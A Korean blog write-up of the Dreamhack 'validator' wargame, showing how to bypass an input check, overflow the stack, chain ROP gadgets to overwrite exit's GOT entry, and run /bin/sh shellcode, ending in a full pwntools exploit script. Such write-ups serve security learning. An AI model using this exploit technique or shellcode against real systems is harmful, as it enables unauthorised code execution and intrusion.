[Dreamhack Wargame] validator

don't panic·2023년 12월 12일
0

System Hacking wargame

목록 보기
17/39

code 분석 - IDA

  • validate 함수가 중요해보인다.
  • validate을 exit 없이 무사히 끝내고 RET을 조작해서 셸을 따면 되겠다.

checksec

  • 딱히 보호기법이 없어서 그냥 ROP Chaining을 하면 될 것 같다.

1. validate 우회

int validate(char *s, int n)
{
	unsigned int i;
    int j;
    
    for (i = 0; i < 10; i++)
    	if (s[i] != correct[i])
        	exit(0);
	for (j = 11; j < n; j++)
    	if (s[j] != s[j+1] + 1)
        	exit(0);
    return 0;
}
  • validate 함수를 정리해보면 위와 같다.
  • correct는 data영역에 DREAMHACK!으로 저장되어 있다.
    따라서 read한 s[0]~s[9]b'DREAMHACK!'이어야 한다.
  • 그리고 s[10]은 내가 임의로 공백을 넣어주고, 그 다음 글자부터는 계속 하나씩 줄어든다. 그거를 j가 128이 될때까지 계속 돌리면 된다.
    이에 맞는 페이로드는 아래와 같이 구할 수 있다.
payload = b'DREAMHACK!'
payload += b' '
list = []
for i in range(118, 0, -1) :
    list.append(i)
payload += bytearray(list)

2. exit_got을 shellcode로 overwrite

  • read(0, exit_got, len(shellcode));exit_got을 바꾸고 exit을 실행하게 payload를 만들어준다.

read 함수 syscall

  • fd: rdi
  • buf: rsi
  • size: rdx
  • 이전의 payload에서는 rdx값이 항상 적당히 큰 값들로 세팅되어있어서 따로 건들지 않았다. 하지만 이번에는 shellcode를 read해야 하기 때문에 rdx를 큰 크기로 받도록 했다.
payload += b'A' * (0x88 - len(payload)) # SFP까지 다 채움!

# GOT overwrite: read(0, eixt_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)
# exit() -> run shellcode
payload += p64(exit_got)
p.send(payload)
sleep(1)
p.send(shellcode)

최종 exploit


from pwn import *

p = remote('host3.dreamhack.games', 12182)
e = ELF('./validator_dist')

bss = e.bss()
read_plt = e.plt['read']
exit_got = e.got['exit']
exit_plt = e.plt['exit']
pop_rdi = 0x4006f3
pop_rsi_r15 = 0x4006f1
pop_rdx = 0x40057b
ret = 0x40044e
shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05"

payload = b'DREAMHACK!'
payload += b' '
list = []
for i in range(118, 0, -1) :
    list.append(i)
payload += bytearray(list)
payload += b'A' * (0x88 - len(payload)) # SFP까지 다 채움!

# GOT overwrite: read(0, eixt_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(exit_got) + p64(0)
payload += p64(pop_rdx) + p64(len(shellcode))
payload += p64(read_plt)
# exit() -> run shellcode
payload += p64(exit_got)

p.send(payload)
sleep(1)
p.send(shellcode)

p.interactive()

  • 함수의 GOT을 overwrite할 때 64비트 기준 8바이트만 먹는 줄 알았는데 길이가 긴 shellcode를 넣어도 잘 되는 것이 신기했다.

0개의 댓글